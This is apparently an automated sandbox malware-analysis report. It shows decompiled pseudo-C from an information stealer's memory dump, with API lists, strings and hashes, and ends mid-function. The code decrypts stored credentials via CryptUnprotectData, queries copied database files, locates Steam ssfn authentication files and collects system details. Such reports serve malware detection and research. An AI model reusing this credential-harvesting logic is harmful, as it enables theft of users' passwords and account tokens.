						_t127 =  *((intOrPtr*)( *_t125))(_v16, E00403990( *_t121), 0xffffffff,  &_v20,  &_v24);
						_t183 = _t182 + 0x14;
						__eflags = _t127;
						if(_t127 == 0) {
							while(1) {
								_t129 =  *0x41b384; // 0x41ca2c
								_t131 =  *((intOrPtr*)( *_t129))(_v20);
								__eflags = _t131 - 0x64;
								if(_t131 != 0x64) {
									goto L11;
								}
								_t133 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v72,  *((intOrPtr*)( *_t133))(_v20, 0, _v28));
								_t139 =  *0x41b1dc; // 0x41ca30
								_t141 =  *((intOrPtr*)( *_t139))(_v20, 1, E004112C0, _v72);
								_t183 = _t183 + 0x10;
								E00403CF4( &_v76, _t141);
								_push(_v76);
								_push(E004112C8);
								E00403E78();
							}
						}
					}
					L11:
					_t93 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t93))(_v20);
					_t97 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t97))(_v16);
					_pop(_t167);
					 *[fs:eax] = _t167;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t176);
					 *[fs:eax] = _t176;
				}
				_pop(_t169);
				 *[fs:eax] = _t169;
				_push(E00411289);
				E00403BF4( &_v76, 3);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x0041102c
0x0041102c
0x0041102c
0x0041102e
0x00411030
0x00411035
0x00411037
0x0041103c
0x0041103c
0x0041103e
0x00411040
0x00411040
0x00411040
0x00411043
0x00411044
0x00411045
0x00411046
0x00411049
0x0041104f
0x00411056
0x00411057
0x0041105c
0x0041105f
0x00411065
0x0041106c
0x0041106d
0x00411072
0x00411075
0x00411080
0x00411085
0x0041108b
0x00411090
0x00411093
0x004110a0
0x004110ab
0x004110b8
0x004110bd
0x004110c0
0x004110c5
0x004110d0
0x004110db
0x004110e5
0x004110f4
0x004110ff
0x0041110a
0x00411115
0x00411124
0x00411140
0x00411147
0x00411149
0x0041114c
0x0041114e
0x0041115e
0x0041116f
0x00411176
0x00411178
0x0041117b
0x0041117d
0x004111d9
0x004111dd
0x004111e4
0x004111e7
0x004111ea
0x00000000
0x00000000
0x0041118a
0x0041119b
0x004111ae
0x004111b5
0x004111b7
0x004111bf
0x004111c4
0x004111c7
0x004111d4
0x004111d4
0x004111d9
0x0041117d
0x004111ec
0x004111f0
0x004111f7
0x004111fe
0x00411205
0x0041120a
0x0041120d
0x00411222
0x00411230
0x00411126
0x00411128
0x0041112b
0x0041112b
0x00411237
0x0041123a
0x0041123d
0x0041124a
0x00411252
0x0041125f
0x00411267
0x00411274
0x00411281

APIs

Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

GetTickCount.KERNEL32(00000000,00411212,?,00000000,00411282,?,00000000,?,00000000,00000000,00000000,?,0041173C,0041C91C,00411988,?), ref: 00411078
CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 004110F4
DeleteFileW.KERNEL32(00000000), ref: 00411230

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

%TEMP%, xrefs: 004110B3
.tmp, xrefs: 00411093

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyCountDeleteE465E7790Tick
String ID: %TEMP%$.tmp
API String ID: 1739629129-3650661790
Opcode ID: 960af96c6d180e36fedad193f267724433eed7366dc03900526dc00d0c7d43f2
Instruction ID: 086439bef84ae03ebcf91c6f71c22103effc3d3d1ef1d95b9ffc13b6feb758dd
Opcode Fuzzy Hash: 960af96c6d180e36fedad193f267724433eed7366dc03900526dc00d0c7d43f2
Instruction Fuzzy Hash: 53315531904108AFDB01FFA1D942ADDBBB9EF49304F50447BF504B36A2D738AE069A58

Uniqueness

Uniqueness Score: 0.83%

Function 00411030, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 101
fileCOMMON

C-Code - Quality: 45%

			E00411030(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				signed int _t53;
				WCHAR* _t73;
				intOrPtr* _t88;
				void* _t90;
				intOrPtr* _t92;
				intOrPtr* _t96;
				intOrPtr* _t120;
				intOrPtr* _t124;
				void* _t126;
				intOrPtr* _t128;
				void* _t130;
				intOrPtr* _t132;
				intOrPtr* _t138;
				void* _t140;
				void* _t146;
				intOrPtr _t166;
				intOrPtr _t168;
				intOrPtr _t175;
				intOrPtr _t179;
				intOrPtr _t180;
				void* _t181;
				void* _t182;

				_t177 = __esi;
				_t145 = __ebx;
				_t53 = __eax | 0x5500000a;
				_t179 = _t180;
				_t146 = 9;
				do {
					_push(0);
					_push(0);
					_t146 = _t146 - 1;
					_t185 = _t146;
				} while (_t146 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t53;
				E00404150( &_v8);
				_push(_t179);
				_push(0x411282);
				_push( *[fs:eax]);
				 *[fs:eax] = _t180;
				E00403BDC( &_v28);
				_push(_t179);
				_push(0x411212);
				_push( *[fs:eax]);
				 *[fs:eax] = _t180;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t185);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t185);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t145,  &_v40, _t185);
				E004062FC(L"%TEMP%",  &_v60, _t185);
				_push(_v60);
				_push(E004112B8);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t145,  &_v44, _t185);
				_t73 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t73, 0xffffffff);
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t145, _t146,  &_v36, _t177, _t185);
				E00403D88( &_v68, _v36);
				if(E0040776C(_v68, _t145, _t146) != 0) {
					_t88 =  *0x41b140; // 0x41ca20
					_t90 =  *((intOrPtr*)( *_t88))(E00403990(_v36),  &_v16);
					_t181 = _t180 + 8;
					__eflags = _t90;
					if(_t90 == 0) {
						_t120 =  *0x41b330; // 0x41c930
						_t124 =  *0x41b2d4; // 0x41ca28
						_t126 =  *((intOrPtr*)( *_t124))(_v16, E00403990( *_t120), 0xffffffff,  &_v20,  &_v24);
						_t182 = _t181 + 0x14;
						__eflags = _t126;
						if(_t126 == 0) {
							while(1) {
								_t128 =  *0x41b384; // 0x41ca2c
								_t130 =  *((intOrPtr*)( *_t128))(_v20);
								__eflags = _t130 - 0x64;
								if(_t130 != 0x64) {
									goto L10;
								}
								_t132 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v72,  *((intOrPtr*)( *_t132))(_v20, 0, _v28));
								_t138 =  *0x41b1dc; // 0x41ca30
								_t140 =  *((intOrPtr*)( *_t138))(_v20, 1, E004112C0, _v72);
								_t182 = _t182 + 0x10;
								E00403CF4( &_v76, _t140);
								_push(_v76);
								_push(E004112C8);
								E00403E78();
							}
						}
					}
					L10:
					_t92 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t92))(_v20);
					_t96 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t96))(_v16);
					_pop(_t166);
					 *[fs:eax] = _t166;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t175);
					 *[fs:eax] = _t175;
				}
				_pop(_t168);
				 *[fs:eax] = _t168;
				_push(E00411289);
				E00403BF4( &_v76, 3);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x00411030
0x00411030
0x00411030
0x00411035
0x00411037
0x0041103c
0x0041103c
0x0041103e
0x00411040
0x00411040
0x00411040
0x00411043
0x00411044
0x00411045
0x00411046
0x00411049
0x0041104f
0x00411056
0x00411057
0x0041105c
0x0041105f
0x00411065
0x0041106c
0x0041106d
0x00411072
0x00411075
0x00411080
0x00411085
0x0041108b
0x00411090
0x00411093
0x004110a0
0x004110ab
0x004110b8
0x004110bd
0x004110c0
0x004110c5
0x004110d0
0x004110db
0x004110e5
0x004110f4
0x004110ff
0x0041110a
0x00411115
0x00411124
0x00411140
0x00411147
0x00411149
0x0041114c
0x0041114e
0x0041115e
0x0041116f
0x00411176
0x00411178
0x0041117b
0x0041117d
0x004111d9
0x004111dd
0x004111e4
0x004111e7
0x004111ea
0x00000000
0x00000000
0x0041118a
0x0041119b
0x004111ae
0x004111b5
0x004111b7
0x004111bf
0x004111c4
0x004111c7
0x004111d4
0x004111d4
0x004111d9
0x0041117d
0x004111ec
0x004111f0
0x004111f7
0x004111fe
0x00411205
0x0041120a
0x0041120d
0x00411222
0x00411230
0x00411126
0x00411128
0x0041112b
0x0041112b
0x00411237
0x0041123a
0x0041123d
0x0041124a
0x00411252
0x0041125f
0x00411267
0x00411274
0x00411281

APIs

Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

GetTickCount.KERNEL32(00000000,00411212,?,00000000,00411282,?,00000000,?,00000000,00000000,00000000,?,0041173C,0041C91C,00411988,?), ref: 00411078
CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 004110F4
DeleteFileW.KERNEL32(00000000), ref: 00411230

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

%TEMP%, xrefs: 004110B3
.tmp, xrefs: 00411093

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyCountDeleteE465E7790Tick
String ID: %TEMP%$.tmp
API String ID: 1739629129-3650661790
Opcode ID: 23a8ec0390782e8a3a87181899651e63f82f7ff95d198a39a33ed47c794eaa64
Instruction ID: c9e68ca033382928e780bbb2ca05a045859d404701f4d2a11d4424a3b4ff7e89
Opcode Fuzzy Hash: 23a8ec0390782e8a3a87181899651e63f82f7ff95d198a39a33ed47c794eaa64
Instruction Fuzzy Hash: FA313531900109AEDB01FF91D942ADDBBB9EF48305F50457BF504B26A2D738AE059A58

Uniqueness

Uniqueness Score: 0.83%

Function 0040246C, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 70
UNIQUE

C-Code - Quality: 71%

			E0040246C(intOrPtr __eax, void* __edx) {
				intOrPtr _v8;
				void* __ecx;
				void* __ebp;
				intOrPtr _t25;
				intOrPtr _t36;
				intOrPtr _t39;
				void* _t42;
				intOrPtr _t45;
				intOrPtr _t47;

				_t45 = _t47;
				_t42 = __edx;
				_t25 = __eax;
				if( *0x41c5ac != 0 || E00401870() != 0) {
					_push(_t45);
					_push("�^");
					_push( *[fs:edx]);
					 *[fs:edx] = _t47;
					if( *0x41c035 != 0) {
						_push("�[0");
						L004011CC();
					}
					if(E00402290(_t25, _t42) == 0) {
						_t39 = E00401F5C(_t42);
						_t15 = ( *(_t25 - 4) & 0x7ffffffc) - 4;
						if(_t42 < ( *(_t25 - 4) & 0x7ffffffc) - 4) {
							_t15 = _t42;
						}
						if(_t39 != 0) {
							E00402628(_t25, _t15, _t39);
							E004020EC(_t25);
						}
						_v8 = _t39;
					} else {
						_v8 = _t25;
					}
					_pop(_t36);
					 *[fs:eax] = _t36;
					_push(E00402524);
					if( *0x41c035 != 0) {
						_push("�[0");
						L004011D4();
						return 0;
					}
					return 0;
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x0040246d
0x00402473
0x00402475
0x0040247e
0x00402495
0x00402496
0x0040249b
0x0040249e
0x004024a8
0x004024aa
0x004024af
0x004024af
0x004024bf
0x004024cd
0x004024db
0x004024e0
0x004024e2
0x004024e2
0x004024e6
0x004024ed
0x004024f4
0x004024f4
0x004024f9
0x004024c1
0x004024c1
0x004024c1
0x004024fe
0x00402501
0x00402504
0x00402510
0x00402512
0x00402517
0x00000000
0x00402517
0x0040251c
0x00402489
0x0040248b
0x0040252c
0x0040252c

APIs

RtlEnterCriticalSection.KERNEL32([0,00000000,^), ref: 004024AF

Part of subcall function 00401F5C: RtlEnterCriticalSection.KERNEL32([0,00000000,004020D8), ref: 00401FA7
Part of subcall function 00401F5C: RtlLeaveCriticalSection.KERNEL32([0,004020DF), ref: 004020D2

RtlLeaveCriticalSection.KERNEL32([0,00402524), ref: 00402517

Part of subcall function 004020EC: RtlEnterCriticalSection.KERNEL32([0,00000000,0040227E,?,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00402140
Part of subcall function 004020EC: RtlLeaveCriticalSection.KERNEL32([0,00402285,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00402278

Part of subcall function 00401870: RtlInitializeCriticalSection.KERNEL32([0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401886
Part of subcall function 00401870: RtlEnterCriticalSection.KERNEL32([0,[0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401899
Part of subcall function 00401870: LocalAlloc.KERNEL32(00000000,00000FF8,[0,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
Part of subcall function 00401870: RtlLeaveCriticalSection.KERNEL32([0,0040192D,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401920

Strings

^, xrefs: 00402496
[0, xrefs: 004024AA, 00402512

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: [0$^
API String ID: 2227675388-3278956116
Opcode ID: 36f5b8f16900d0e995ce4c5524c526641fb23a44d7305ae2e8247758f3247216
Instruction ID: 4ed45a5183fb1a6edd108f9af425bfacc088641811e0c18f6da98f6ec62fa594
Opcode Fuzzy Hash: 36f5b8f16900d0e995ce4c5524c526641fb23a44d7305ae2e8247758f3247216
Instruction Fuzzy Hash: 92113431700210AEEB25AB7A5F49B5A7BD59786358F20407FF404F32D2D6BD9C00825C

Uniqueness

Uniqueness Score: 100.00%

Function 00417594, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61
libraryloaderUNIQUE

C-Code - Quality: 36%

			E00417594(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v117;
				void* _t16;
				intOrPtr* _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t49;

				_t16 = __eax +  *__eax;
				 *_t16 =  *_t16 + _t16;
				 *[cs:eax] =  *[cs:eax] + _t16;
				_v117 = _v117 + __edx;
				_v12 = __edx;
				_v8 = _t16;
				E00403980(_v8);
				_push(_t49);
				_push(0x41763e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t49 + 0xfffffff4;
				_t46 = GetProcAddress(LoadLibraryA("dnsapi.dll"), "DnsQuery_A");
				if(_t46 != 0) {
					_v16 = 0;
					_t37 = E00402530(0x30);
					_v16 = E00402530(0x48);
					 *_t37 = 1;
					 *((intOrPtr*)(_t37 + 4)) = _v12;
					_push(0);
					_push( &_v16);
					_push(_t37);
					_push(0);
					_push(1);
					_push(E00403990(_v8));
					if( *_t46() == 0) {
					}
				}
				_pop(_t41);
				 *[fs:eax] = _t41;
				_push(E00417645);
				return E004034E4( &_v8);
			}

0x00417594
0x00417596
0x00417598
0x0041759b
0x004175a5
0x004175a8
0x004175ae
0x004175b5
0x004175b6
0x004175bb
0x004175be
0x004175d8
0x004175dc
0x004175e0
0x004175ed
0x004175f9
0x004175fc
0x00417605
0x00417608
0x0041760d
0x0041760e
0x0041760f
0x00417611
0x0041761b
0x00417620
0x00417620
0x00417620
0x0041762a
0x0041762d
0x00417630
0x0041763d

APIs

LoadLibraryA.KERNEL32(dnsapi.dll), ref: 004175CD
GetProcAddress.KERNEL32(00000000,dnsapi.dll,DnsQuery_A,00000000,0041763E,?,00000000,00000011,00000000), ref: 004175D3

Strings

dnsapi.dll, xrefs: 004175C8
DnsQuery_A, xrefs: 004175C3

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll
API String ID: 2574300362-3847274415
Opcode ID: 838774a34ec340324007cbc50cb967156ad79424ca98fc96e977b189d8760847
Instruction ID: d30c321fe4a2bd247bd4b698bf20639808d2184671dfbaabedb686dc3f8753d1
Opcode Fuzzy Hash: 838774a34ec340324007cbc50cb967156ad79424ca98fc96e977b189d8760847
Instruction Fuzzy Hash: 76119070944644AED701DBB9CC52B9EBBF8DF49714F5140B7F804E72D2D6789E008B58

Uniqueness

Uniqueness Score: 100.00%

Function 00417598, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59
libraryloaderUNIQUE

C-Code - Quality: 33%

			E00417598(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v117;
				intOrPtr* _t36;
				intOrPtr _t40;
				intOrPtr* _t45;
				void* _t48;

				 *[cs:eax] =  *[cs:eax] + __eax;
				_v117 = _v117 + __edx;
				_v12 = __edx;
				_v8 = __eax;
				E00403980(_v8);
				_push(_t48);
				_push(0x41763e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t48 + 0xfffffff4;
				_t45 = GetProcAddress(LoadLibraryA("dnsapi.dll"), "DnsQuery_A");
				if(_t45 != 0) {
					_v16 = 0;
					_t36 = E00402530(0x30);
					_v16 = E00402530(0x48);
					 *_t36 = 1;
					 *((intOrPtr*)(_t36 + 4)) = _v12;
					_push(0);
					_push( &_v16);
					_push(_t36);
					_push(0);
					_push(1);
					_push(E00403990(_v8));
					if( *_t45() == 0) {
					}
				}
				_pop(_t40);
				 *[fs:eax] = _t40;
				_push(E00417645);
				return E004034E4( &_v8);
			}

0x00417598
0x0041759b
0x004175a5
0x004175a8
0x004175ae
0x004175b5
0x004175b6
0x004175bb
0x004175be
0x004175d8
0x004175dc
0x004175e0
0x004175ed
0x004175f9
0x004175fc
0x00417605
0x00417608
0x0041760d
0x0041760e
0x0041760f
0x00417611
0x0041761b
0x00417620
0x00417620
0x00417620
0x0041762a
0x0041762d
0x00417630
0x0041763d

APIs

LoadLibraryA.KERNEL32(dnsapi.dll), ref: 004175CD
GetProcAddress.KERNEL32(00000000,dnsapi.dll,DnsQuery_A,00000000,0041763E,?,00000000,00000011,00000000), ref: 004175D3

Strings

dnsapi.dll, xrefs: 004175C8
DnsQuery_A, xrefs: 004175C3

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll
API String ID: 2574300362-3847274415
Opcode ID: 8095dded05312d575d95daf922bfb140ff555d8282828c66f36c6a1e5138e3f8
Instruction ID: 89091d3917c39e027ec3eeccc89b87ee5cdcb6cd8aa522463c3fbed3da073618
Opcode Fuzzy Hash: 8095dded05312d575d95daf922bfb140ff555d8282828c66f36c6a1e5138e3f8
Instruction Fuzzy Hash: 68118FB1A44604AEDB11DFA9CD42B9EBBF8EB49714F5140BBF804E72D1D6789E008B58

Uniqueness

Uniqueness Score: 100.00%

Function 00415D60, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58
libraryloaderUNIQUE

C-Code - Quality: 32%

			E00415D60(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				_Unknown_base(*)()* _v8;
				char _v268;
				char _v336;
				char _v340;
				char _v344;
				void* _t31;
				intOrPtr _t39;
				intOrPtr* _t43;
				void* _t46;

				_v340 = 0;
				_v344 = 0;
				_t43 = __eax;
				_push(_t46);
				_push(0x415e29);
				_push( *[fs:eax]);
				 *[fs:eax] = _t46 + 0xfffffeac;
				_v8 = GetProcAddress(LoadLibraryA("user32.dll"), "EnumDisplayDevicesW");
				_v336 = 0x148;
				_t31 = 0;
				while(1) {
					_push(0);
					_push( &_v336);
					_push(_t31);
					_push(0);
					if(_v8() == 0) {
						break;
					}
					_t31 = _t31 + 1;
					_push( *_t43);
					E00403D6C( &_v344, 0x80,  &_v268);
					E0040377C( &_v340, _v344);
					_push(_v340);
					_push(E00415E60);
					E00403850();
				}
				_pop(_t39);
				 *[fs:eax] = _t39;
				_push(E00415E30);
				E00403BDC( &_v344);
				return E004034E4( &_v340);
			}

0x00415d6e
0x00415d74
0x00415d7a
0x00415d7e
0x00415d7f
0x00415d84
0x00415d87
0x00415d9f
0x00415da2
0x00415dae
0x00415df3
0x00415df3
0x00415dfa
0x00415dfb
0x00415dfc
0x00415e03
0x00000000
0x00000000
0x00415db2
0x00415db3
0x00415dc6
0x00415dd7
0x00415ddc
0x00415de2
0x00415dee
0x00415dee
0x00415e07
0x00415e0a
0x00415e0d
0x00415e18
0x00415e28

APIs

LoadLibraryA.KERNEL32(user32.dll), ref: 00415D94
GetProcAddress.KERNEL32(00000000,user32.dll,EnumDisplayDevicesW,00000000,00415E29,?,-00000001,?,?,?,00415F7F,Video Info,?,004160C8,?,GetRAM: ), ref: 00415D9A

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Strings

EnumDisplayDevicesW, xrefs: 00415D8A
user32.dll, xrefs: 00415D8F

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressE4513LibraryLoadProc
String ID: EnumDisplayDevicesW$user32.dll
API String ID: 623769148-1693391355
Opcode ID: 304b528dd7c23ba4350925d8da4520c1b242ba15ef946261ffef320e64eab224
Instruction ID: 996778e6e1fa3012b08ba28900446386cc223bdcaff6e7a2921523f1031bab31
Opcode Fuzzy Hash: 304b528dd7c23ba4350925d8da4520c1b242ba15ef946261ffef320e64eab224
Instruction Fuzzy Hash: AD11B970A00A18DFD761DF61CC45BDABBBDEBC4705F1040FAE408A6291D6785F848A58

Uniqueness

Uniqueness Score: 100.00%

Function 0041759C, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58
libraryloaderUNIQUE

C-Code - Quality: 29%

			E0041759C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _t34;
				intOrPtr _t38;
				intOrPtr* _t43;
				void* _t46;

				_v12 = __edx;
				_v8 = __eax;
				E00403980(_v8);
				_push(_t46);
				_push(0x41763e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t46 + 0xfffffff4;
				_t43 = GetProcAddress(LoadLibraryA("dnsapi.dll"), "DnsQuery_A");
				if(_t43 != 0) {
					_v16 = 0;
					_t34 = E00402530(0x30);
					_v16 = E00402530(0x48);
					 *_t34 = 1;
					 *((intOrPtr*)(_t34 + 4)) = _v12;
					_push(0);
					_push( &_v16);
					_push(_t34);
					_push(0);
					_push(1);
					_push(E00403990(_v8));
					if( *_t43() == 0) {
					}
				}
				_pop(_t38);
				 *[fs:eax] = _t38;
				_push(E00417645);
				return E004034E4( &_v8);
			}

0x004175a5
0x004175a8
0x004175ae
0x004175b5
0x004175b6
0x004175bb
0x004175be
0x004175d8
0x004175dc
0x004175e0
0x004175ed
0x004175f9
0x004175fc
0x00417605
0x00417608
0x0041760d
0x0041760e
0x0041760f
0x00417611
0x0041761b
0x00417620
0x00417620
0x00417620
0x0041762a
0x0041762d
0x00417630
0x0041763d

APIs

LoadLibraryA.KERNEL32(dnsapi.dll), ref: 004175CD
GetProcAddress.KERNEL32(00000000,dnsapi.dll,DnsQuery_A,00000000,0041763E,?,00000000,00000011,00000000), ref: 004175D3

Strings

dnsapi.dll, xrefs: 004175C8
DnsQuery_A, xrefs: 004175C3

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll
API String ID: 2574300362-3847274415
Opcode ID: cffa9d9b3eb8a371a3575a0160d6cc6b2a004e92dbb242b9ce3f2312a7f3d7fa
Instruction ID: b99d0aac83a0b3c72d6054ef8d9202edd35a9011c0e0381adc81f7c85d7bf011
Opcode Fuzzy Hash: cffa9d9b3eb8a371a3575a0160d6cc6b2a004e92dbb242b9ce3f2312a7f3d7fa
Instruction Fuzzy Hash: F41151B1A44608AED750DFA9CD42B9EBBF8EB48714F514477F904E72C1E6789E008B58

Uniqueness

Uniqueness Score: 100.00%

Function 0040A6AA, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10
libraryloaderUNIQUE

C-Code - Quality: 100%

			E0040A6AA() {
				void* _t1;
				_Unknown_base(*)()* _t3;

				 *0x41ca68 =  *0x41ca68 - 1;
				if( *0x41ca68 < 0) {
					_t3 = GetProcAddress(LoadLibraryA("crypt32.dll"), "CryptUnprotectData");
					 *0x41ca64 = _t3;
					return _t3;
				}
				return _t1;
			}

0x0040a6ac
0x0040a6b3
0x0040a6c5
0x0040a6ca
0x00000000
0x0040a6ca
0x0040a6cf

APIs

LoadLibraryA.KERNEL32(crypt32.dll), ref: 0040A6BF
GetProcAddress.KERNEL32(00000000,crypt32.dll,CryptUnprotectData), ref: 0040A6C5

Strings

CryptUnprotectData, xrefs: 0040A6B5
crypt32.dll, xrefs: 0040A6BA

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: CryptUnprotectData$crypt32.dll
API String ID: 2574300362-1827663648
Opcode ID: 55a8a98b67fae9043663a1b98abbd652dc85c0f53613b6f6ed029b2671b82d5a
Instruction ID: e6c421c79dddd478bde07d5489d503c1d4cc859a9cbe04b01679e24e10095fcf
Opcode Fuzzy Hash: 55a8a98b67fae9043663a1b98abbd652dc85c0f53613b6f6ed029b2671b82d5a
Instruction Fuzzy Hash: 49C08CF06A030056CA01EBB29D4A70833693B82B887180C3BB040B14E0D93E4010970F

Uniqueness

Uniqueness Score: 100.00%

Function 00414A90, Relevance: 6.4, Strings: 5, Instructions: 160
UNIQUE

C-Code - Quality: 37%

			E00414A90(char __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v604;
				char _v608;
				char _v612;
				char _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				char _v632;
				char _v636;
				char _v640;
				intOrPtr _v644;
				char _v648;
				intOrPtr _v652;
				char _v656;
				intOrPtr* _t65;
				void* _t80;
				intOrPtr* _t81;
				intOrPtr* _t88;
				intOrPtr* _t104;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t143;
				void* _t150;
				intOrPtr _t151;
				intOrPtr* _t157;
				char* _t159;
				intOrPtr _t161;
				intOrPtr _t162;

				_t120 = __ebx;
				_t161 = _t162;
				_t123 = 0x51;
				do {
					_push(0);
					_push(0);
					_t123 = _t123 - 1;
				} while (_t123 != 0);
				_v8 = __eax;
				E00404150( &_v8);
				_t159 =  &_v604;
				_t157 =  *0x41b198; // 0x41c6b8
				 *[fs:eax] = _t162;
				E004075C0(0x80000001, __ebx, L"SteamPath", L"Software\\Valve\\Steam",  &_v12, 0);
				E0040717C(_v12, _t120, E00414D58, 0x414d60,  &_v608);
				E00403C3C( &_v12, _v608);
				E00403E14( &_v612, L"\\ssfn*", _v12, 0);
				_t65 = E0041B2D8; // 0x41c6b4
